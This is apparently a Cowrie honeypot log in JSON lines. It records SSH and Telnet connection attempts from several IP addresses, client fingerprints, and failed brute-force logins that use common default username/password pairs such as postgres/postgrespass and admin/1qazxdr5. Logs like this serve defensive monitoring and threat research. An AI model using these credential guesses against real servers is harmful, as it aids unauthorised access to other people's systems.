{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":37948,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab2f3d2ce842","protocol":"ssh","message":"New connection: 202.145.0.61:37948 (159.203.135.109:22) [session: ab2f3d2ce842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:00:07.723462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:00:07.728776Z","src_ip":"202.145.0.61","session":"ab2f3d2ce842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:00:07.962693Z","src_ip":"202.145.0.61","session":"ab2f3d2ce842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu1234567890","message":"login attempt [ubuntu/ubuntu1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:00:08.926295Z","src_ip":"202.145.0.61","session":"ab2f3d2ce842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:00:10.164105Z","src_ip":"202.145.0.61","session":"ab2f3d2ce842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.232.163.220","src_port":62544,"dst_ip":"10.17.0.5","dst_port":23,"session":"5351dfed14b3","protocol":"telnet","message":"New connection: 181.232.163.220:62544 (10.17.0.5:23) [session: 5351dfed14b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:00:11.969448Z"}
{"eventid":"cowrie.session.closed","duration":32.93891453742981,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:00:15.357133Z","src_ip":"98.158.129.28","session":"1b92fd008e79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.665162563323975,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:00:23.634499Z","src_ip":"181.232.163.220","session":"5351dfed14b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14514660835266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:00:25.869738Z","src_ip":"98.158.129.28","session":"0a59045d0345","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.464892864227295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:00:26.435690Z","src_ip":"98.158.129.28","session":"db1c74216418","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.282631397247314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:00:28.630647Z","src_ip":"98.158.129.28","session":"8d9f1dedb82a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":38638,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ebfea745369","protocol":"telnet","message":"New connection: 98.158.129.28:38638 (159.203.135.109:23) [session: 7ebfea745369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:00:48.790361Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.158.129.28","src_port":33204,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ed7a86b2906","protocol":"telnet","message":"New connection: 98.158.129.28:33204 (159.203.135.109:23) [session: 6ed7a86b2906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:00:53.113120Z"}
{"eventid":"cowrie.session.closed","duration":0.009688138961791992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:00:53.122672Z","src_ip":"98.158.129.28","session":"6ed7a86b2906","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":54676,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ce043bbb413","protocol":"ssh","message":"New connection: 202.145.0.61:54676 (159.203.135.109:22) [session: 2ce043bbb413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:01:05.490693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:01:05.497493Z","src_ip":"202.145.0.61","session":"2ce043bbb413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:01:05.738657Z","src_ip":"202.145.0.61","session":"2ce043bbb413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":33036,"dst_ip":"159.203.135.109","dst_port":22,"session":"be120cf133cb","protocol":"ssh","message":"New connection: 119.28.9.170:33036 (159.203.135.109:22) [session: be120cf133cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:01:06.476694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:01:06.481631Z","src_ip":"119.28.9.170","session":"be120cf133cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:01:06.685967Z","src_ip":"119.28.9.170","session":"be120cf133cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hb","password":"admin","message":"login attempt [hb/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:01:06.732320Z","src_ip":"202.145.0.61","session":"2ce043bbb413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myadmin","password":"myadmin","message":"login attempt [myadmin/myadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:01:07.526988Z","src_ip":"119.28.9.170","session":"be120cf133cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:01:07.975247Z","src_ip":"202.145.0.61","session":"2ce043bbb413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:01:08.737636Z","src_ip":"119.28.9.170","session":"be120cf133cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.43630838394165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:01:19.226539Z","src_ip":"98.158.129.28","session":"7ebfea745369","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.210.233.181","src_port":42472,"dst_ip":"159.203.135.109","dst_port":23,"session":"b270df4f2c13","protocol":"telnet","message":"New connection: 115.210.233.181:42472 (159.203.135.109:23) [session: b270df4f2c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:01:55.893264Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":49224,"dst_ip":"159.203.135.109","dst_port":22,"session":"0488a92f692e","protocol":"ssh","message":"New connection: 119.28.9.170:49224 (159.203.135.109:22) [session: 0488a92f692e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:01.102766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:01.108942Z","src_ip":"119.28.9.170","session":"0488a92f692e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:01.316639Z","src_ip":"119.28.9.170","session":"0488a92f692e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgrespass","message":"login attempt [postgres/postgrespass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:02.177776Z","src_ip":"119.28.9.170","session":"0488a92f692e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":43182,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6091cfa1e1f","protocol":"ssh","message":"New connection: 202.145.0.61:43182 (159.203.135.109:22) [session: d6091cfa1e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:02.694658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:02.699733Z","src_ip":"202.145.0.61","session":"d6091cfa1e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:02.933265Z","src_ip":"202.145.0.61","session":"d6091cfa1e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:03.389391Z","src_ip":"119.28.9.170","session":"0488a92f692e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"Admin@123","message":"login attempt [ec2-user/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:03.901350Z","src_ip":"202.145.0.61","session":"d6091cfa1e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:05.138028Z","src_ip":"202.145.0.61","session":"d6091cfa1e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.289270877838135,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:08.182294Z","src_ip":"115.210.233.181","session":"b270df4f2c13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.196","src_port":62026,"dst_ip":"10.17.0.5","dst_port":22,"session":"c984c95681b3","protocol":"ssh","message":"New connection: 2.57.122.196:62026 (10.17.0.5:22) [session: c984c95681b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:12.813064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:12.818089Z","src_ip":"2.57.122.196","session":"c984c95681b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:12.924383Z","src_ip":"2.57.122.196","session":"c984c95681b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:13.375548Z","src_ip":"2.57.122.196","session":"c984c95681b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":37178,"dst_ip":"159.203.135.109","dst_port":22,"session":"21dae4b577d3","protocol":"ssh","message":"New connection: 119.28.9.170:37178 (159.203.135.109:22) [session: 21dae4b577d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:54.488648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:54.493783Z","src_ip":"119.28.9.170","session":"21dae4b577d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:54.719949Z","src_ip":"119.28.9.170","session":"21dae4b577d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":32904,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7cf9e7856b9","protocol":"telnet","message":"New connection: 45.58.127.90:32904 (10.17.0.5:23) [session: f7cf9e7856b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:55.220852Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qazxdr5","message":"login attempt [admin/1qazxdr5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:55.596642Z","src_ip":"119.28.9.170","session":"21dae4b577d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:02:56.825255Z","src_ip":"119.28.9.170","session":"21dae4b577d3","protocol":"ssh"}
